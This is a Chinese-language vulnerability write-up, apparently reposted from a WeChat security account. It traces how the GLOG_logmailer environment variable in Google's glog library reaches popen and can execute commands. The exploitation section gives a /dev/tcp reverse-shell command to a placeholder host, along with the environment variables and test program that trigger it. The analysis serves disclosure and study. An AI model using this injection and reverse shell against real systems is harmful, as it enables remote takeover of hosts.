0x00:闲言
此漏洞于上个月报送GoogleVRP团队,Google回复漏洞已经重复了,故此分享给大家。另外感叹一下Google已经开始在使用AI来初审漏洞了。说不定过两年挖洞都AI化了。
glog是 Google 的 C++ 日志库,用于在 C++ 程序中记录日志信息。它是 Google Logging Library 的缩写。glog 提供了简单易用的日志记录功能,可以在代码中方便地插入日志语句,用于输出程序运行时的状态、调试信息、错误信息等。该库提供基于 C++ 风格的流和各种帮助宏的日志记录 API。
下载地址:https://github.com/google/glog
0x01:漏洞分析
目前Github上最新的是0.6.0。下载0.6.0到本地进行分析
位于https://github.com/google/glog/blob/master/src/logging.cc第2229行的`SendEmailInternal`函数中,有这样一段逻辑,在第2253行使用popen执行命令,其中cmd变量由另外三个变量拼接而成
string cmd = logmailer + " -s" + ShellEscape(subject) + " " + ShellEscape(dest);
其中在第2241行可以看到logmailer
来自FLAGS_logmailer
,但是函数并未设置该参数,我全局搜索源码寻找该关键字的定义,在base/commandlineflags.h中定义了相关
这是一个宏定义,用于定义和初始化一个字符串类型的配置参数。
该宏的作用是创建一个字符串类型的配置参数,并且同时定义了该配置参数的默认值和含义。具体来说,它展开为以下代码:
namespace fLS { std::string FLAGS_name_buf(value); GLOG_EXPORT std::string& FLAGS_name = FLAGS_name_buf; char FLAGS_noname; } using fLS::FLAGS_name;
在这里:
-
name
:表示配置参数的名称,它将用于访问和设置该配置参数的值。 -
value
:表示配置参数的默认值,如果未通过其他方式设置该参数,则将使用该默认值。 -
meaning
:表示配置参数的含义,即对该配置参数作用的简要描述。
DEFINE_string
宏定义了一个字符串类型的配置参数,并为其设置了默认值和含义。在展开后的代码中,首先在命名空间 fLS
下定义了一个名为 FLAGS_name_buf
的字符串变量,并用 value
初始化它,表示参数的默认值。然后,在同一个命名空间下,定义了一个名为 FLAGS_name
的字符串引用,它引用了刚刚定义的 FLAGS_name_buf
变量,表示配置参数的值。最后,还定义了一个名为 FLAGS_noname
的字符变量,可能是为了防止重定义的冲突。
总体来说,DEFINE_string
宏定义了一个字符串类型的配置参数,并为其设置了默认值和含义,使得用户在使用时可以通过 FLAGS_name
来访问和修改该配置参数的值。
那么我们继续寻找DEFINE_string
的调用,在commandlineflags.h中129行,定义了一个GLOG_DEFINE_string
GLOG_DEFINE_string
宏定义了一个字符串类型的 GLOG 配置参数,并为其设置了默认值和含义。并使用了 DEFINE_string
宏来定义和初始化配置参数,并使用 EnvToString
函数来处理默认值,可能是从环境变量中获取配置参数的值。
事实上EnvToString
函数确实是从环境变量中获取参数,该函数的作用是检查指定的环境变量是否存在,如果存在则返回其值,否则返回给定的默认值。继续跟踪GLOG_DEFINE_string
发现
在logging.cc中的第169行中在代码中使用 GLOG_DEFINE_string
宏定义时,它会使用 DEFINE_string
宏定义,并将其展开为如下所示的代码:
DEFINE_string(logmailer, EnvToString("GLOG_logmailer", ""), "Mailer used to send logging email")
根据上述DEFINE_string
的定义,不难得到以下关系:
FLAGS_logmailer
= GLOG_logmailer
所以我们通过控制环境变量GLOG_logmailer
的值即可以控制FLAGS_logmailer
的值
所以我们设置
export GLOG_logmailer="/bin/bash -i > /dev/tcp/x.x.x.x/9393 0<&1 2>&1 || /bin/mail"
即可执行反弹命令,但是问题来了,我们如何触发命令执行呢。回到一开始我们知道漏洞代码位于SendEmailInternal
函数中,所以我们触发SendEmailInternal
函数即可执行命令
那么如何触发SendEmailInternal
函数呢,我们接着分析
SendEmailInternal
函数在MaybeLogToEmail
中调用,我们来了解一下这个函数的执行流程
-
首先,函数会检查日志消息的严重性(
severity
)是否大于或等于email_logging_severity_
或FLAGS_logemaillevel
的设定值。注意,这里用的||,那么我们根据前面分析可知,我们可以通过控制GLOG_logemaillevel
来控制FLAGS_logemaillevel
的值。 -
如果满足发送邮件的条件,将构建用于电子邮件接收者的
to
字符串。to
来自FLAGS_alsologtoemail
即为GLOG_alsologtoemail
-
构建邮件主题(
subject
),其中包含日志消息的严重性和程序的名称。 -
构建邮件正文(
body
),包含主机名和日志消息内容。 -
使用
SendEmailInternal
函数发送邮件,其中将use_logging
参数设置为false
所以我们继续跟进看看在什么情况下会触发
重点在函数中的
if (FLAGS_logtostderr || FLAGS_logtostdout || !IsGoogleLoggingInitialized()) {
{
如果即 FLAGS_logtostderr
和 FLAGS_logtostdout
都为 false,并且 Google Logging 已经初始化。那么就会进入else,执行MaybeLogToEmail
等一系列函数
前两个参数如果不是手动设置默认都是即为false,而使用glog第一步就需要使用google::InitGoogleLogging
来初始化Google Logging。所以这里默认不做任何动作都会执行MaybeLogToEmail
我们继续跟进SendToLog
如何触发,
要想理解SendToLog
是如何触发的,我们需要从glog的正确使用姿势来看,首先我们来看一段正常的glog使用代码
官方案例:
#include <glog/logging.h>
int main(int argc, char* argv[]) {
// Initialize Google’s logging library.
google::InitGoogleLogging(argv[0]);
// 提供了宏定义,对于记log的地方,提供了如下宏进行展开
LOG(INFO) << "Found " << num_cookies << " cookies";
}
其中关键用法是LOG(INFO) << "Found " << num_cookies << " cookies";
这是glog的核心用法,用于输出一个INFO日志,跟log4j中的
logger.info("This is info message.");
是一个概念。
LOG(IFNO)
本身是一个宏,我们跟进分析,在logging.h.in中对其进行了定义
让我们分解这个宏的定义:
-
severity
是一个参数,表示日志级别,例如INFO
、WARNING
、ERROR
等。 -
COMPACT_GOOGLE_LOG_ ## severity
是一个预处理器的连接符,它将COMPACT_GOOGLE_LOG_
和severity
拼接在一起。因此,当我们使用LOG(INFO)
时,这个连接符会展开为COMPACT_GOOGLE_LOG_INFO
。 -
.stream()
是LogMessage
对象的一个成员函数,这里不重要。
所以我们继续跟进COMPACT_GOOGLE_LOG_INFO
首先,代码中通过 #if GOOGLE_STRIP_LOG == 0
来判断是否开启了完整的日志记录功能(即未启用日志剥离)。GOOGLE_STRIP_LOG
是一个宏定义,用于控制日志剥离的级别,如果设置为 0,则表示未启用日志剥离。默认已经定义好了
COMPACT_GOOGLE_LOG_INFO
宏用于输出普通的日志消息,它会调用 @ac_google_namespace@::LogMessage
构造函数,传入当前文件名 __FILE__
和行号 __LINE__
作为日志消息的位置信息。
#define COMPACT_GOOGLE_LOG_INFO @ac_google_namespace@::LogMessage(
__FILE__, __LINE__)
让我们来逐步解释这段宏定义:
-
@ac_google_namespace@
是一个占位符,在实际使用中会被替换为glog
日志库所在的命名空间。 -
__FILE__
和__LINE__
是 C/C++ 预定义宏,分别表示当前源文件名和行号。在这里,它们作为参数传递给LogMessage
构造函数,用于记录日志消息的位置信息。 -
LogMessage
是glog
日志库中的一个类,用于处理日志消息的构造和输出。在这里,COMPACT_GOOGLE_LOG_INFO
宏会调用LogMessage
的构造函数,将当前文件名和行号作为参数传入,从而创建一个LogMessage
对象。
所以,当我们在代码中使用 LOG(INFO)
宏时,实际上会被展开为 @ac_google_namespace@::LogMessage(__FILE__, __LINE__)
这样的形式,这样就可以通过 LogMessage
类来处理并输出 INFO 级别的日志消息。
所以我们跟进到LogMessage
让我们逐步解释这段代码:
-
LogMessage::LogMessage(const char* file, int line)
:这是LogMessage
类的构造函数,接受两个参数,分别是当前源文件的名称file
和行号line
。 -
: allocated_(NULL)
:这是初始化列表(initializer list),用于初始化类成员变量allocated_
。在这里,allocated_
被初始化为NULL
,即空指针。 -
Init(file, line, GLOG_INFO, &LogMessage::SendToLog)
:这是调用类的成员函数Init()
来初始化LogMessage
对象的其他成员变量。 -
file
和line
:当前源文件名和行号,用于记录日志消息的位置信息。 -
GLOG_INFO
:这是glog
日志库中定义的LogSeverity
枚举值,表示当前日志消息的严重程度为 INFO。 -
&LogMessage::SendToLog
:这是一个指向LogMessage
类成员函数SendToLog()
的指针,用于指定日志消息的输出方式。
所以,当我们创建一个 LogMessage
对象时,该构造函数会将当前源文件名和行号传递给 Init()
函数,并指定日志消息的严重程度为 INFO,以及日志输出方式为 SendToLog()
。这样就完成了一个日志消息的构造和初始化,后续可以通过该对象将日志消息输出到相应的目的地。
从这里我们就追述到SendToLog
的触发方式了。所以glog默认的用法就可以触发SendToLog
函數
到此为止我们理清楚了整条逻辑关系了,这里我画了个图
分析到这里,整个利用过程就很清楚了。我们只需要添加几个环境变量即可执行命令反弹shell了
0x02:命令执行
我们实际测试一下,首先给出我的测试环境
OS: CentOS Linux 7 (Core)
编译器版本:g++ (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
测试代码:
#include <iostream>
#include "glog/logging.h"
#include "gflags/gflags.h" // 添加头文件
int main(int argc, char** argv)
{
google::InitGoogleLogging(argv[0]);
LOG(INFO) << "HELLO";
}
这是一段非常官方代码,基本上大家都这么用,使用如下命令编译
g++ main.cpp -o main -lglog
注意:需要提前安装glog和gflags
然后设置三个环境变量:
export GLOG_logemaillevel=0
export GLOG_logmailer="/bin/bash -i > /dev/tcp/x.x.x.x/9393 0<&1 2>&1 || /bin/mail"
export GLOG_alsologtoemail="[email protected]"
随后执行./main
即可反弹shell到x.x.x.x
0x03:随笔
其实能控制环境变量的场景少之又少,但是互联网上还是有相关产品可以通过页面功能修改变量从而完成RCE。如图:
原文始发于微信公众号(攻队):Command Execution Vulnerability in Google Glog
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论